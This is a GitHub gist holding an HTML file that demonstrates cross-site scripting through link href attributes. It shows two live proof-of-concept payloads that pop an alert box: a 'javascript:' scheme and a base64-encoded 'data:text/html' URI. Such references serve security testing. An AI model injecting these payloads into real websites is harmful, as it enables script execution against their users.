Created
December 19, 2018 13:06
-
-
Save mfaerevaag/ba5e35e7ce72722df43a77340b1d3193 to your computer and use it in GitHub Desktop.
JavaScript payloads in a#href attributes using mimetypes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>JavaScript payloads in a#href attributes using mimetypes</h1> | |
<b>Scenario:</b> | |
<pre><a href="[PAYLOAD]"></a></pre> | |
<b>Examples:</b> | |
<table border="1"> | |
<thead> | |
<tr> | |
<th>Description</th> | |
<th>Payload</th> | |
<th>Test</th> | |
</tr> | |
</thead> | |
<tbody> | |
<tr> | |
<td>Javascript scheme</td> | |
<td><pre><a href="javascript:alert(1)">Test</a></pre></td> | |
<td><a href="javascript:alert(1)">Test</a></td> | |
</tr> | |
<tr> | |
<td>Data scheme with text/html and base64 mimetype</td> | |
<td><pre><a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">test</a></pre></td> | |
<td><a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">test</a></td> | |
</tr> | |
</tbody> | |
</table> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment